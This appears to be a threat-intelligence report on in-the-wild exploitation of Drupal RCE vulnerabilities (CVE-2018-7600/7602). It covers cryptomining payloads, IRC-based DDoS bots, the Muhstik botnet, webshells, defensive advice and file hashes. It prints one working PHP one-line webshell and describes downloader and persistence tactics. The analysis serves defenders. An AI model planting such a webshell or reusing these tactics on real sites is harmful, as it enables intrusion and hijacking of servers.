Drupal released a security advisory on 28 March 2018 to disclose a remote execution code (RCE) vulnerability in the Drupal core, sa-core-2018-002 (CVE-2018-7600). Soon, two more security advisories were also published within a month, including a Cross-Site Scripting (XSS) vulnerability and a critical code execution vulnerability — sa-core-2018-004 (CVE-2018-7602). In the following two months, Drupal attacks occurred frequently. Combined with security intelligence data, NSFOCUS Threat Intelligence (NTI) center gave a detailed description of common attack tactics targeting Drupal programs and took an analysis to relevant situation in the hope of helping security practitioners get some suggestions and reference.

Description of Incident Course of Events 

Although the vulnerability had been disclosed, the PoC didn’t turn up until two weeks later. Only in several hours after the disclosure of the PoC, attacks exploiting this vulnerability appeared. Then many more attacks against Drupal programs sprang up on the Internet and reached a peak on April 29, and attacks kept going on.

As shown on figure below, the URIs triggered in the version 7.x gradually increase and later become more than the version 8.x, which means attackers have started turning their attention to the version 7.x from 8.x.


The following two figures present distribution of attack IP addresses worldwide in the last two months, which mainly focused on North America, Europe and South America. Categorized by countries, the attack IP addresses were mainly located in Mexico, Ecuador, Russia, and the United States.

We also kept close watch on several IP addresses from which most frequent attacks occurred and we found that a part of these IP addresses had also taken part in other types of vulnerability exploit attacks, such as Weblogic deserialization vulnerability (CVE-2017-10271) and Struts2-s2045 (CVE-2017-5638). Besides, the worm-like spreading over intranets of a few IP addresses approves that the hosts of these IP addresses are parts of some botnets.

Attack and Exploit

According to the monitoring data, we found that three attack tactics emerged in the Internet soon after the disclosure of the vulnerability.

  • Attackers used the vulnerability to implant a digital currency mining program in the host computer and used the host resources for mining operations. The mining process mainly aimed at Monero (XMR) and had versions both Windows and Linux versions.
  • Remote Control. This vulnerability exploit was able to execute commands, download remote files, launch TCP/UDP flood, etc.
  • WebShell implantation. Webshell we captured included one-word Trojan, mini Trojan, and powerful full Trojan.

Mining exploit was the most popular one among the three attack tactics. Since related attack commands and mining pool addresses also appeared in other RCE exploits, it is very likely that groups in black industry chains also paid close attention to these critical vulnerabilities. From the statistics taken to the three categories of attacks, victim hosts implanted mining scripts accounted for 95%, while samples implanted remote control malware and website backdoors accounted for 3% and 1% separately, with defaced webpages on victim websites taking a small portion.

Proportion of Each Category


After the RCE vulnerability was disclosed, groups in black industry chain began to implant mining programs to vulnerable hosts for profiting using the system resources. This kind of attacks often emerges earlier than any other attacks. In addition, black chain groups usually send both Linux- and Windows- based attack payload to different platforms to ensure success of their attacks.


  1. Windows

In Windows system, attackers would write a VBScript running in PowerShell and call WScript to download malicious programs, or download directly through PowerShell. Configuration files would be released by running the sample and register would be tampered to protect the malicious program.


The following command is used to download 5_DRUPAL from and then run it in PowerShell.

  1. Linux

Attack payload in Linux system is diversified, disguised as jpg. or pdf. files with hybrid coding, for example. Attackers would match x86 or x64 to download mining programs in victim hosts. They also would write a scheduled task to maintain constancy to help them achieve their ultimate purpose – obtaining digital currencies using the system resources.

Here is an example:

Using Wget to download a Shell script


Octal coded payload

All behaviors of these samples are aimed to obtain Monero. Some wallet addresses were blocked by the Monero organizer in the exploiting process as identified to be relevant to botnets.

During this research period, we found the first botnet exploiting CVE-2018-7600 and making it spread. It was Muhstik. We also captured several active samples. With analysis, NTI figured out the connection between this sample family and the Command & Control (C&C).



Muhstik Contextual Intelligence chart

Source: NSFOCUS Threat Intelligence (NTI)

Remote Control

When the vulnerability exploit broke out, we detected a remotely-controlled DDoS script spreading by exploiting the vulnerability. It was based on IRC protocol and written in the Perl language, annotated in Portuguese and Spanish. We analyzed its functions and uncovered one C&C host This script would execute commands, download remote files or launch TCP/UPD Flood according to directions it received.

Some directions


Besides implanting mining and remote-control programs to victim hosts, remote WebShell download and implantation was also a widely used for attackers. It is easier to see from many attacks that more and more attackers were fond of using online file/txt sharing platforms to store WebShell or Bash scripts for hiding real hosts.

We captured several categories of WebShell samples, included one-word Trojan, mini Trojan, and powerful full Trojan.

One-word Trojan:

<?php if(isset($_REQUEST[‘c’])) {system( $_REQUEST[‘c’].’2>&1′);}

The following table shows IP addresses sending one-word Trojan and its frequency in two weeks.

IP Frequency 29 23 21 15 12 8 5 4 4 4 4 3 2 2 2

Mini Trojan

Full Trojan

Conclusions and Suggestions

During tracking and observing of Drupal Core RCE vulnerability exploits, we have the following findings:

  1. It is a very short time from the publication of PoC to the emerging of effective attacks, with the result that the time for protection is extremely limited. In this RCE exploit, the gap is hours only.
  2. To find and exploit more hosts is a common purpose for hackers. Hackers developed attack tools in a very short time after vulnerability publication and, through automatic scanning and exploit vectors, started to search for vulnerable hosts quickly on the Internet. All websites with vulnerabilities are potential victims. Therefore, administrators should pay enough attention to vulnerabilities on their websites and patch them as soon as possible.
  3. Hackers have strong backtracking capability. They prefer using online file sharing platforms like Pastebin to hide themselves.


  1. Website administrators should keep close watch on vulnerabilities related to website programs, update website programs as soon as possible and upgrade protection rules on devices.
  2. Administrators should pay attention to the usage of system resources. A burst of resources utilization within a very short time and keeping the usage at a high level may a sign of mining program implantation. Timely backup are necessary for malware cleaning up at any time.

Relevant IOC

Network communications

File servers

Sample Hash

Sample Description sha1
xm32.exe Monero mining cb00248b8bcd91e68c08a061a91cc3317db5724b
Xm64.exe Monero mining 8360f0d2df9008240f1d5e0f8acdbd2c98bad58c
Xm32s Monero mining fcdd9c19b6b134dc31b3b688002eb51cac76a3ff
xm64s Monero mining 8822037953274ddd9f78b49ee73185be20e5e3ef
1234567890.pdf Monero mining 94c2ea3cf1cdb034df2e9aa5779fa0472396bff7
2sm.txt Remote control script d7eb30269b3ba40ef59c0acef8948898fa54895f
maxx2.txt Remote control script 68efd61193fc9b70394abb2327de2bf6b1f368b7
test.pl Remote control script 046a9c9838269fc5f76890b141bb39d22e6b9456
wow.txt Remote control script c84dc265859d58827369eb25b752b6305b8306e7
K.txt php webshell 7602c5cbc63e1bf2e484db63c94d5a22b7e17304
wso-encode.php php webshell e9e09b90cfdc1cd2ddb867385afa60816a7ee7d5
bash Muhstik family f92f1b03bcc45b692716789387d837905c8d4d76
shy Muhstik family 0f4a3e0c6523fe0a0677f91182a1eabc536ff480
fbsd Muhstik family e6f914790b3888a46dff60f51a98c7191208685a


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